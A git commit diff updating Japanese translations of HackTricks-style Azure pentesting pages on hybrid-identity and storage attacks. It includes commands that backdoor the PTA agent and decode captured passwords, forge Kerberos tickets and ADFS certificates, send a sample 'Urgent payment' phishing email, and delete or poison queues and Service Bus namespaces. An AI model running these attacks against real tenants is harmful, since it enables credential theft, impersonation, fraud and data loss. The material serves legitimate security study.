Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe

This commit is contained in:
Translator
2025-01-02 00:09:15 +00:00
parent 3c2f3f44a7
commit e3d971b096
225 changed files with 2036 additions and 2044 deletions
@@ -4,10 +4,10 @@
## 基本情報
**オンプレミス Active Directory (AD)****Azure AD** の統合は **Azure AD Connect** によって促進され、**シングルサインオン (SSO)** をサポートするさまざまな方法が提供されています。各方法は有用ですが、クラウドまたはオンプレミス環境を危険にさらす可能性のあるセキュリティ脆弱性を提示します:
**オンプレミスActive Directory (AD)****Azure AD** の統合は**Azure AD Connect** によって促進され、**シングルサインオン (SSO)** をサポートするさまざまな方法が提供されています。各方法は有用ですが、クラウドまたはオンプレミス環境を危険にさらす可能性のあるセキュリティ脆弱性を提示します:
- **パススルー認証 (PTA)**:
- オンプレミス AD のエージェントが侵害される可能性があり、Azure 接続のためのユーザーパスワードの検証が可能になります(オンプレからクラウドへ)。
- オンプレミスADのエージェントが侵害される可能性があり、Azure接続のためのユーザーパスワードの検証が可能になります(オンプレからクラウドへ)。
- 新しい場所(クラウドからオンプレ)で認証を検証するために新しいエージェントを登録する可能性。
{{#ref}}
@@ -15,43 +15,43 @@ pta-pass-through-authentication.md
{{#endref}}
- **パスワードハッシュ同期 (PHS)**:
- AD から特権ユーザーの平文パスワードを抽出する可能性があり、高特権の自動生成された AzureAD ユーザーの資格情報を含みます
- 高特権の自動生成されたAzureADユーザーの資格情報を含む、ADから特権ユーザーの平文パスワードを抽出する可能性
{{#ref}}
phs-password-hash-sync.md
{{#endref}}
- **フェデレーション**:
- SAML 署名に使用される秘密鍵の盗難により、オンプレおよびクラウドのアイデンティティのなりすましが可能になります。
- SAML署名に使用される秘密鍵の盗難により、オンプレおよびクラウドのアイデンティティのなりすましが可能になります。
{{#ref}}
federation.md
{{#endref}}
- **シームレス SSO:**
- Kerberos シルバーチケットの署名に使用される `AZUREADSSOACC` ユーザーのパスワードの盗難により、任意のクラウドユーザーのなりすましが可能になります。
- **シームレスSSO:**
- Kerberosシルバーチケットの署名に使用される `AZUREADSSOACC` ユーザーのパスワードの盗難により、任意のクラウドユーザーのなりすましが可能になります。
{{#ref}}
seamless-sso.md
{{#endref}}
- **クラウド Kerberos トラスト**:
- AzureAD ユーザー名と SID を操作し、AzureAD から TGT を要求することにより、グローバル管理者からオンプレドメイン管理者への昇格の可能性。
- **クラウドKerberos信頼**:
- AzureADユーザー名とSIDを操作し、AzureADからTGTを要求することにより、グローバル管理者からオンプレミスドメイン管理者への昇格の可能性。
{{#ref}}
az-cloud-kerberos-trust.md
{{#endref}}
- **デフォルトアプリケーション**:
- アプリケーション管理者アカウントまたはオンプレミス同期アカウント侵害することで、ディレクトリ設定、グループメンバーシップ、ユーザーアカウント、SharePoint サイト、および OneDrive ファイルの変更が可能になります。
- アプリケーション管理者アカウントまたはオンプレミス同期アカウント侵害されると、ディレクトリ設定、グループメンバーシップ、ユーザーアカウント、SharePointサイト、およびOneDriveファイルの変更が可能になります。
{{#ref}}
az-default-applications.md
{{#endref}}
各統合方法に対して、ユーザーの同期が行われ、オンプレ AD `MSOL_<installationidentifier>` アカウントが作成されます。特に、**PHS** と **PTA** の両方の方法は **シームレス SSO** を促進し、オンプレドメインに参加している Azure AD コンピュータの自動サインインを可能にします。
各統合方法について、ユーザーの同期が行われ、オンプレADに `MSOL_<installationidentifier>` アカウントが作成されます。特に、**PHS** と **PTA** の両方の方法は **シームレスSSO** を促進し、オンプレドメインに参加しているAzure ADコンピュータの自動サインインを可能にします。
**Azure AD Connect** のインストールを確認するには、以下の PowerShell コマンドを使用できます。このコマンドは **AzureADConnectHealthSync** モジュールを利用しておりAzure AD Connect にデフォルトでインストールされています)、次のようになります:
**Azure AD Connect** のインストールを確認するには、以下のPowerShellコマンドを使用できます。このコマンドは**AzureADConnectHealthSync** モジュール(Azure AD Connectと共にデフォルトでインストールされる)を利用します:
```powershell
Get-ADSyncConnector
```
@@ -4,7 +4,7 @@
## 基本情報
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) パススルー認証は、ユーザーが**同じパスワードを使用してオンプレミスおよびクラウドベースのアプリケーションにサインインできる**ようにします。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーがAzure ADを使用してサインインすると、この機能は**オンプレミスのActive Directoryに対して直接ユーザーのパスワードを検証します**
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) パススルー認証は、ユーザーが**同じパスワードを使用してオンプレミスおよびクラウドベースのアプリケーションにサインインできる**ようにします。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーがAzure ADを使用してサインインすると、この機能は**オンプレミスのActive Directoryに対して直接ユーザーのパスワードを検証**します。
PTAでは**アイデンティティ**は**同期**されますが、**パスワード**はPHSのようには**同期**されません。
@@ -20,19 +20,19 @@ PTAでは**アイデンティティ**は**同期**されますが、**パスワ
4. **エージェント**は**オンプレミスAD**に対して資格情報を**検証**し、**応答**をAzure ADに**返します**。応答が肯定的であれば、**ユーザーのログインを完了**します。
> [!WARNING]
> 攻撃者が**PTA**を**侵害**した場合、キュー内のすべての**資格情報**を(**平文**で)**見る**ことができます。\
> また、AzureADに対して**任意の資格情報を検証**することもできます(Skeleton keyに似た攻撃)。
> 攻撃者が**PTA**を**侵害**すると、キュー内のすべての**資格情報**を(**平文**で)**見る**ことができます。\
> また、AzureADに対して**任意の資格情報を検証**することもできます(スケルトンキーに似た攻撃)。
### オンプレミス -> クラウド
**PTA** **エージェント**が実行されている**Azure AD Connectサーバー**に**管理者**アクセスがある場合、**AADInternals**モジュールを使用して、**入力されたすべてのパスワードを検証する**バックドアを**挿入**できます(すべてのパスワードが認証に対して有効になります):
**PTA** **エージェント**が実行されている**Azure AD Connectサーバー**に**管理者**アクセスがある場合、**AADInternals**モジュールを使用して、**入力されたすべてのパスワードを検証**する**バックドア**を**挿入**できます(すべてのパスワードが認証に対して有効になります):
```powershell
Install-AADIntPTASpy
```
> [!NOTE]
> **インストールが失敗した場合**、これはおそらく[Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe)が不足しているためです。
次のcmdletを使用して、前のバックドアがインストールされたマシンで**PTAエージェントに送信された平文のパスワードを確認する**ことも可能です
また、前のバックドアがインストールされたマシンで次のcmdletを使用することで、**PTAエージェントに送信された平文のパスワードを見ることも可能です**:
```powershell
Get-AADIntPTASpyLog -DecodePasswords
```
@@ -48,11 +48,11 @@ Get-AADIntPTASpyLog -DecodePasswords
### クラウド -> オンプレミス
> [!CAUTION]
> クラウドで **GA 権限** を取得した後、**攻撃者が制御するマシン** に設定することで **新しい PTA エージェント** を **登録** することが可能です。エージェントが **設定** されると、**以前の** 手順を **繰り返して** **任意のパスワードを使用して認証** し、さらに **パスワードを平文で取得** することができます。
> クラウドで **GA権限** を取得した後、**攻撃者が制御するマシン** に設定することで **新しいPTAエージェント登録** することが可能です。エージェントが **設定** されると、**以前の** 手順を **繰り返して** **任意のパスワードを使用して認証** し、さらに **パスワードを平文で取得** することができます。
### シームレス SSO
### シームレスSSO
PTA とともにシームレス SSO を使用することが可能で、他の悪用に対して脆弱です。詳細は以下を確認してください:
PTAを使用してシームレスSSOを利用することが可能ですが、他の悪用に対して脆弱です。詳細は以下を確認してください:
{{#ref}}
seamless-sso.md
@@ -1,18 +1,18 @@
# Az - シームレスSSO
# Az - シームレス SSO
{{#include ../../../../banners/hacktricks-training.md}}
## 基本情報
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory シームレスシングルサインオン (Azure AD Seamless SSO) は、**ユーザーが企業ネットワークに接続された企業デバイス上にいるときに自動的にサインインます**。有効にすると、**ユーザーはAzure ADにサインインするためにパスワードを入力する必要がなく**、通常はユーザー名すら入力する必要がありません。この機能により、ユーザーは追加のオンプレミスコンポーネントなしで、クラウドベースのアプリケーションに簡単にアクセスできます。
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory シームレスシングルサインオン (Azure AD Seamless SSO) は、**企業ネットワークに接続された企業デバイス上にいるときに自動的にユーザーをサインインさせます**。有効にすると、**ユーザーはAzure ADにサインインするためにパスワードを入力する必要がなく、通常はユーザー名すら入力する必要がありません**。この機能により、ユーザーは追加のオンプレミスコンポーネントなしで、クラウドベースのアプリケーションに簡単にアクセスできます。
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
基本的に、Azure AD シームレスSSOは、**オンプレミスのドメインに参加しているPC上にいるときにユーザーをサインインさせます**。
基本的に、Azure AD Seamless SSOは、**オンプレミスのドメインに参加しているPC上にいるときにユーザーをサインインさせます**。
これは、[**PHS (パスワードハッシュ同期)**](phs-password-hash-sync.md) と [**PTA (パススルー認証)**](pta-pass-through-authentication.md) の両方でサポートされています。
デスクトップSSOは、**Kerberos**を使用して認証を行います。構成されると、Azure AD ConnectはオンプレミスADに**AZUREADSSOACC`$`というコンピュータアカウントを作成します**。`AZUREADSSOACC$`アカウントのパスワードは、構成中に**平文でAzure ADに送信されます**。
デスクトップSSOは、**Kerberos**を使用して認証を行います。構成されると、Azure AD ConnectはオンプレミスADに**AZUREADSSOACC`$`というコンピュータアカウントを作成します**。`AZUREADSSOACC$`アカウントのパスワードは、構成中に**平文でAzure ADに送信されます**。
**Kerberosチケット**は、パスワードの**NTHash (MD4)**を使用して**暗号化**され、Azure ADは送信されたパスワードを使用してチケットを復号化します。
@@ -53,12 +53,12 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
```
シルバーチケットを利用するには、以下の手順を実行する必要があります
シルバーチケットを利用するには、以下の手順を実行する必要があります
1. **ブラウザを起動する:** Mozilla Firefoxを起動します。
2. **ブラウザを設定する:**
- **`about:config`**に移動します。
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)の設定を指定された[](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)に設定します
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)の設定を指定された[](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)にします:
- `https://aadg.windows.net.nsatc.net`
- `https://autologon.microsoftazuread-sso.com`
3. **Webアプリケーションにアクセスする:**
@@ -70,24 +70,24 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub
> [!TIP]
> これにより、MFAが有効な場合はバイパスされません
#### オプション2 dcsyncなし - SeamlessPass
#### dcsyncなしのオプション2 - SeamlessPass
この攻撃は、**dcsync攻撃なしで**よりステルスに実行することも可能です。これは[このブログ記事](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)で説明されていす。そのためには、以下のいずれかが必要です:
この攻撃は、[このブログ記事](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)で説明されているように、**dcsync攻撃なしで**よりステルスに実行することも可能です。そのためには、以下のいずれかが必要です:
- **侵害されたユーザーのTGT:** たとえ持っていなくても、ユーザーが侵害されていれば、[Kekeo](https://x.com/gentilkiwi/status/998219775485661184)や[Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)などの多くのツールに実装されている偽TGT委任トリックを使用して取得できます。
- **侵害されたユーザーのTGT:** たとえ持っていなくても、ユーザーが侵害されていれば、[Kekeo](https://x.com/gentilkiwi/status/998219775485661184)や[Rubues](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)などの多くのツールに実装されている偽TGT委任トリックを使用して取得できます。
- **ゴールデンチケット**: KRBTGTキーを持っていれば、攻撃対象のユーザーに必要なTGTを作成できます。
- **侵害されたユーザーのNTLMハッシュまたはAESキー:** SeamlessPassは、この情報を使用してドメインコントローラーと通信し、TGTを生成します。
- **AZUREADSSOACC$アカウントのNTLMハッシュまたはAESキー:** この情報と攻撃対象のユーザーのセキュリティ識別子(SID)を使用して、サービスチケットを作成し、クラウドに認証することが可能です(前の方法で実行されたように)。
- **AZUREADSSOACC$アカウントのNTLMハッシュまたはAESキー:** この情報とユーザーのセキュリティ識別子(SID)を使用して、サービスチケットを作成し、クラウドに認証することが可能です(前の方法で実行されたように)。
最後に、TGTを使用して、[**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)ツールを使用することができます
最後に、TGTを使用して、[**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)ツールを使用することができます
```
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
```
さらなる情報は、FirefoxをシームレスSSOで動作させるため[**このブログ記事**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)で見つけることができます。
FirefoxをシームレスSSOで動作させるためのさらなる情報は[**このブログ記事**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)で見つけることができます。
#### ~~クラウド専用ユーザーのためのKerberosチケットの作成~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
Active Directory管理者がAzure AD Connectにアクセスできる場合、**任意のクラウドユーザーのSIDを設定**することができます。この方法でKerberos **チケット**は**クラウド専用ユーザーのためにも作成**できます。唯一の要件は、SIDが適切な[SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>)であることです。
Active Directory管理者がAzure AD Connectにアクセスできる場合、**任意のクラウドユーザーのSIDを設定**することができます。この方法でKerberos **チケット**は**クラウド専用ユーザーのためにも作成**できます。唯一の要件は、SIDが適切な[SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>)であることです。
> [!CAUTION]
> クラウド専用管理ユーザーのSIDを変更することは現在**Microsoftによってブロックされています**。\
@@ -6,23 +6,23 @@
デフォルトでは、任意のユーザーがAzure ADにアプリケーションを登録できます。したがって、高い影響を持つ権限が必要なアプリケーション(ターゲットテナント専用)を登録できます。管理者の同意が必要です(管理者であれば承認できます) - 例えば、ユーザーの代理でメールを送信したり、役割管理を行ったりします。これにより、成功した場合に非常に**有益な****フィッシング攻撃**を**実行**することができます。
さらに、アクセスを維持する手段として、ユーザーとしてそのアプリケーションを受け入れることできます。
さらに、あなたのユーザーとしてそのアプリケーションを受け入れることで、アクセスを維持する方法としても利用できます。
### アプリケーションとサービスプリンシパル
アプリケーション管理者、GA、またはmicrosoft.directory/applications/credentials/update権限を持つカスタムロールの特権を持つ場合、既存のアプリケーションに資格情報(シークレットまたは証明書)を追加できます。
Application Administrator、GA、またはmicrosoft.directory/applications/credentials/update権限を持つカスタムロールの特権を持つことで、既存のアプリケーションに資格情報(シークレットまたは証明書)を追加できます。
**高い権限を持つアプリケーションをターゲットにする**ことも、**高い権限を持つ新しいアプリケーションを追加する**ことも可能です。
アプリケーションに追加するのに興味深い役割は、**特権認証管理者ロール**です。これは、グローバル管理者の**パスワードをリセット**することを可能にします。
この技術は、**MFAをバイパス**すること可能す。
この技術はまた、**MFAをバイパス**すること可能にします。
```powershell
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
```
- 証明書ベースの認証のために
- 証明書ベースの認証の場合
```powershell
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
```
@@ -30,7 +30,7 @@ Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <T
**DA権限**を持つオンプレミスADでは、非常に長い有効期限を持つ**新しいトークン署名**および**トークン復号化証明書**を作成およびインポートすることが可能です。これにより、**ImmutableID**を知っている任意のユーザーとして**ログイン**することができます。
**ADFSサーバーでDAとして**以下のコマンドを実行して新しい証明書を作成し(デフォルトのパスワードは'AADInternals')、それらをADFSに追加し、自動ロールオーバーを無効にし、サービスを再起動します:
**以下のコマンドを** **ADFSサーバーでDAとして**実行して新しい証明書を作成し(デフォルトのパスワードは'AADInternals')、それらをADFSに追加し、自動ロールオーバーを無効にし、サービスを再起動します:
```powershell
New-AADIntADFSSelfSignedCertificates
```
@@ -12,7 +12,7 @@
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
この権限、攻撃者ストレージアカウント内のキューそのプロパティを作成または変更することを許可します。これを使用して、不正なキューを作成したり、メタデータを変更したり、アクセス制御リスト(ACL)を変更してアクセスを許可または制限したりできます。この機能は、ワークフローを妨害したり、悪意のあるデータを注入したり、機密情報を抽出したり、さらなる攻撃を可能にするためにキュー設定を操作したりする可能性があります。
この権限により、攻撃者ストレージアカウント内のキューおよびそのプロパティを作成または変更することができます。これを使用して、不正なキューを作成したり、メタデータを変更したり、アクセス制御リスト(ACL)を変更してアクセスを付与または制限することができます。この機能は、ワークフローを妨害したり、悪意のあるデータを注入したり、機密情報を抽出したり、さらなる攻撃を可能にするためにキュー設定を操作したりする可能性があります。
```bash
az storage queue create --name <new-queue-name> --account-name <storage-account>
@@ -4,7 +4,7 @@
## ストレージの権限昇格
ストレージに関する詳細情報は以下を確認してください
ストレージに関する詳細情報は以下を参照してください:
{{#ref}}
../az-services/az-storage.md
@@ -18,7 +18,7 @@
### Microsoft.Storage/storageAccounts/blobServices/containers/update && Microsoft.Storage/storageAccounts/blobServices/deletePolicy/write
これらの権限は、削除されたコンテナの保持期間を有効にまたは構成するためのコンテナ削除保持機能のために、ユーザーがblobサービスのプロパティを変更することを許可します。これらの権限は、攻撃者が永久に削除されるべき削除されたコンテナを回復または操作するための機会を提供するために、続性を維持するために使用できます。
これらの権限は、削除されたコンテナの保持機能のために、コンテナの削除保持期間を有効にしたり構成したりするために、ユーザーがblobサービスのプロパティを変更することを許可します。これらの権限は、攻撃者が削除されたコンテナを回復または操作するための機会を提供するために、続性を維持するために使用される可能性があり、機密情報にアクセスすることができます。
```bash
az storage account blob-service-properties update \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -27,7 +27,7 @@ az storage account blob-service-properties update \
```
### Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
これらの権限は、攻撃者が保持ポリシーを変更し、削除されたデータを復元し、機密情報にアクセスすることを可能にします。
これらの権限は、攻撃者が保持ポリシーを変更したり、削除されたデータを復元したり、機密情報にアクセスしたりすることにつながる可能性があります。
```bash
az storage blob service-properties delete-policy update \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -4,7 +4,7 @@
## VMs persistence
VMに関する詳細情報は、以下を確認してください
VMに関する詳細情報は、以下を確認してください:
{{#ref}}
../az-services/vms/
@@ -12,14 +12,14 @@ VMに関する詳細情報は、以下を確認してください:
### バックドアVMアプリケーション、VM拡張機能&イメージ <a href="#backdoor-instances" id="backdoor-instances"></a>
攻撃者Azureアカウントで頻繁に使用されているアプリケーション、拡張機能、またはイメージを特定し、VMアプリケーションや拡張機能にコードを挿入することで、インストールされるたびにバックドアが実行されるようにすることができます。
攻撃者Azureアカウントで頻繁に使用されているアプリケーション、拡張機能、またはイメージを特定すると、彼はVMアプリケーションや拡張機能に自分のコードを挿入できるため、インストールされるたびにバックドアが実行されます。
### バックドアインスタンス <a href="#backdoor-instances" id="backdoor-instances"></a>
攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます
攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます:
- 例えば、従来の**rootkit**を使用する
- 新しい**公開SSHキー**を追加する([EC2の特権昇格オプション](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)を確認)
- 新しい**公開SSHキー**を追加する([EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)を確認)
- **ユーザーデータ**にバックドアを仕掛ける
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## ストレージの権限昇格
ストレージに関する詳細情報は以下を確認してください
ストレージに関する詳細情報は以下を確認してください:
{{#ref}}
../az-services/az-storage.md
@@ -12,7 +12,7 @@
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
この権限を持つプリンシパルは、コンテナ内のブロブ(ファイル)を**リスト**し、**機密情報**を含む可能性のあるファイルを**ダウンロード**することができます。
この権限を持つプリンシパルは、コンテナ内のブロブ(ファイル)を**一覧表示**し、**機密情報**を含む可能性のあるファイルを**ダウンロード**することができます。
```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
az storage blob list \
@@ -26,7 +26,7 @@ az storage blob download \
```
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
この権限を持つプリンシパルは、**コンテナ内のファイルを書き込みおよび上書きする**ことができ、これにより損害を引き起こしたり、特権を昇格させたりする可能性があります(例:ブロブに保存されているコードを上書きする)。
この権限を持つプリンシパルは、**コンテナ内のファイルを書き込みおよび上書きすることができ**、これにより損害を引き起こしたり、特権を昇格させたりする可能性があります(例:ブロブに保存されているコードを上書きする)。
```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
az storage blob upload \
@@ -36,6 +36,6 @@ az storage blob upload \
```
### \*/delete
これにより、ストレージアカウント内のオブジェクトを削除でき、**いくつかのサービス中断さる**か、クライアントが**貴重な情報を失う**可能性があります。
これにより、ストレージアカウント内のオブジェクトを削除でき、**いくつかのサービス中断さる**可能性があるか、クライアントが**貴重な情報を失う**ことになります。
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,10 +1,10 @@
# Az - File Share Post Exploitation
# Az - ファイル共有のポストエクスプロイテーション
{{#include ../../../banners/hacktricks-training.md}}
ファイル共有のポストエクスプロイテーション
ファイル共有に関する詳細情報は、以下を確認してください
ファイル共有に関する詳細情報は、以下を確認してください:
{{#ref}}
../az-services/az-file-shares.md
@@ -30,7 +30,7 @@ az storage file download \
```
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
この権限を持つプリンシパルは、**ファイル共有ファイルを書き込み、上書きする**ことができ、これにより損害を与えたり、特権を昇格させたりする可能性があります(例:ファイル共有に保存されコードを上書きする)。
この権限を持つプリンシパルは、**ファイル共有内のファイルを書き込み、上書きする**ことができ、これにより損害を引き起こしたり、特権を昇格させたりする可能性があります(例:ファイル共有に保存されているコードを上書きする)。
```bash
az storage blob upload \
--account-name <acc-name> \
@@ -4,13 +4,13 @@
## Funciton Apps Post Exploitaiton
Function Appsに関する詳細情報は、以下を参照してください:
Function Appsに関する詳細情報は、以下を確認してください:
{{#ref}}
../az-services/az-function-apps.md
{{#endref}}
> [!CAUTION] > **Function Appsのポストエクスプロイトトリックは、特権昇格トリックと非常に関連しています**ので、すべてそこにあります:
> [!CAUTION] > **Function Appsのポストエクスプロイトトリックは、特権昇格トリックと非常に関連しています**ので、すべてのトリックはそこにあります:
{{#ref}}
../az-privilege-escalation/az-functions-app-privesc.md
@@ -70,7 +70,7 @@ az keyvault certificate delete --vault-name <vault name> --name <certificate nam
```
### **Microsoft.KeyVault/vaults/keys/delete**
この権限は、プリンシパルがボールトからキーを削除することを許可します。キーは「ソフト削除」状態に移動され、削除されない限り復可能です。
この権限は、プリンシパルがボールトからキーを削除することを許可します。キーは「ソフト削除」状態に移動され、削除されない限り復可能です。
```bash
az keyvault key delete --vault-name <vault name> --name <key name>
```
@@ -4,7 +4,7 @@
## Queue
詳細については、次を確認してください
詳細については、次を確認してください:
{{#ref}}
../az-services/az-queue-enum.md
@@ -20,7 +20,7 @@ az storage message peek --queue-name <queue_name> --account-name <storage_accoun
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
この権限を持つ攻撃者は、Azure Storage Queueからメッセージを取得して処理することができます。これは、メッセージの内容を読み取り、処理済みとしてマークすることを意味し、実質的に正当なシステムから隠すことになります。これにより、機密データが露出したり、メッセージの処理方法に混乱が生じたり、メッセージを意図したユーザーに利用できなくすることで重要なワークフローが停止する可能性があります。
この権限を持つ攻撃者は、Azure Storage Queueからメッセージを取得して処理することができます。これは、メッセージの内容を読み取り、処理済みとしてマークすることを意味し、実際のシステムから隠すことになります。これにより、機密データが露出したり、メッセージの処理方法に混乱が生じたり、メッセージを意図したユーザーに利用できなくすることで重要なワークフローが停止する可能性があります。
```bash
az storage message get --queue-name <queue_name> --account-name <storage_account>
```
@@ -32,7 +32,7 @@ az storage message put --queue-name <queue-name> --content "Injected malicious m
```
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
この権限により、攻撃者はAzure Storage Queueに新しいメッセージを追加したり、既存のメッセージを更新したりすることができます。これを使用することで、有害なコンテンツを挿入したり、既存のメッセージを変更したりすることができ、アプリケーションを誤解させたり、キューに依存するシステム望ましくない動作を引き起こす可能性があります。
この権限により、攻撃者はAzure Storage Queueに新しいメッセージを追加したり、既存のメッセージを更新したりできます。これを使用することで、有害なコンテンツを挿入したり、既存のメッセージを変更したりすることができ、キューに依存するアプリケーションを誤解させたり、システム望ましくない動作を引き起こす可能性があります。
```bash
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
@@ -46,7 +46,7 @@ az storage message update --queue-name <queue-name> \
```
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/delete`
この権限、攻撃者ストレージアカウント内のキューを削除することを許可します。この機能を利用することで、攻撃者はキューとその関連メッセージを永久に削除し、ワークフローに重大な混乱を引き起こし、影響を受けたキューに依存するアプリケーションにとって重要なデータ損失をもたらすことができます。このアクションは、システムの重要なコンポーネントを削除することでサービスを妨害するためにも使用できます。
この権限により、攻撃者ストレージアカウント内のキューを削除できます。この機能を利用することで、攻撃者はキューとその関連メッセージを永久に削除し、ワークフローに重大な混乱を引き起こし、影響を受けたキューに依存するアプリケーションにとって重要なデータ損失をもたらすことができます。このアクションは、システムの重要なコンポーネントを削除することでサービスを妨害するためにも使用できます。
```bash
az storage queue delete --name <queue-name> --account-name <storage-account>
```
@@ -58,7 +58,7 @@ az storage message clear --queue-name <queue-name> --account-name <storage-accou
```
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
この権限、攻撃者ストレージアカウント内のキューとそのプロパティを作成または変更することを許可します。これを使用して、不正なキューを作成したり、メタデータを変更したり、アクセス制御リスト(ACL)を変更してアクセスを許可または制限したりできます。この機能は、ワークフローを妨害したり、悪意のあるデータを注入したり、機密情報を抽出したり、さらなる攻撃を可能にするためにキュー設定を操作したりする可能性があります。
この権限により、攻撃者ストレージアカウント内のキューとそのプロパティを作成または変更できます。これを使用して、不正なキューを作成したり、メタデータを変更したり、アクセス制御リスト(ACL)を変更してアクセスを付与または制限したりできます。この機能は、ワークフローを妨害したり、悪意のあるデータを注入したり、機密情報を抽出したり、さらなる攻撃を可能にするためにキュー設定を操作したりする可能性があります。
```bash
az storage queue create --name <new-queue-name> --account-name <storage-account>
@@ -4,7 +4,7 @@
## Service Bus
詳細については、以下を確認してください:
詳細については、を確認してください:
{{#ref}}
../az-services/az-servicebus-enum.md
@@ -12,7 +12,7 @@
### Actions: `Microsoft.ServiceBus/namespaces/Delete`
この権限を持つ攻撃者は、Azure Service Busの名前空間全体を削除できます。このアクションは、名前空間とすべての関連リソース(キュー、トピック、サブスクリプション、およびそれらのメッセージ)を削除し、すべての依存システムとワークフローにおいて広範な混乱と永続的なデータ損失を引き起こします。
この権限を持つ攻撃者は、Azure Service Busの名前空間全体を削除できます。このアクションは、名前空間とすべての関連リソース(キュー、トピック、サブスクリプション、およびそれらのメッセージ)を削除し、すべての依存システムとワークフローにわたる広範な混乱と永続的なデータ損失を引き起こします。
```bash
az servicebus namespace delete --resource-group <ResourceGroupName> --name <NamespaceName>
```
@@ -36,7 +36,7 @@ az servicebus topic subscription delete --resource-group <ResourceGroupName> --n
```
### Actions: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read`
Azure Service Bus ネームスペースを作成または変更する権限を持つ攻撃者は、これを利用して操作を妨害したり、無許可のリソースを展開したり、機密データを露出させたりすることができます。彼らは、パブリックネットワークアクセスの有効化、暗号化設定のダウングレード、またはパフォーマンスを低下させたりコストを増加させたりするための SKU の変更など、重要な設定を変更することができます。さらに、ローカル認証を無効にしたり、レプリカの場所を操作したり、TLS バージョンを調整してセキュリティコントロールを弱体化させることも可能であり、ネームスペースの誤設定は重要なポストエクスプロイテーションリスクとなります。
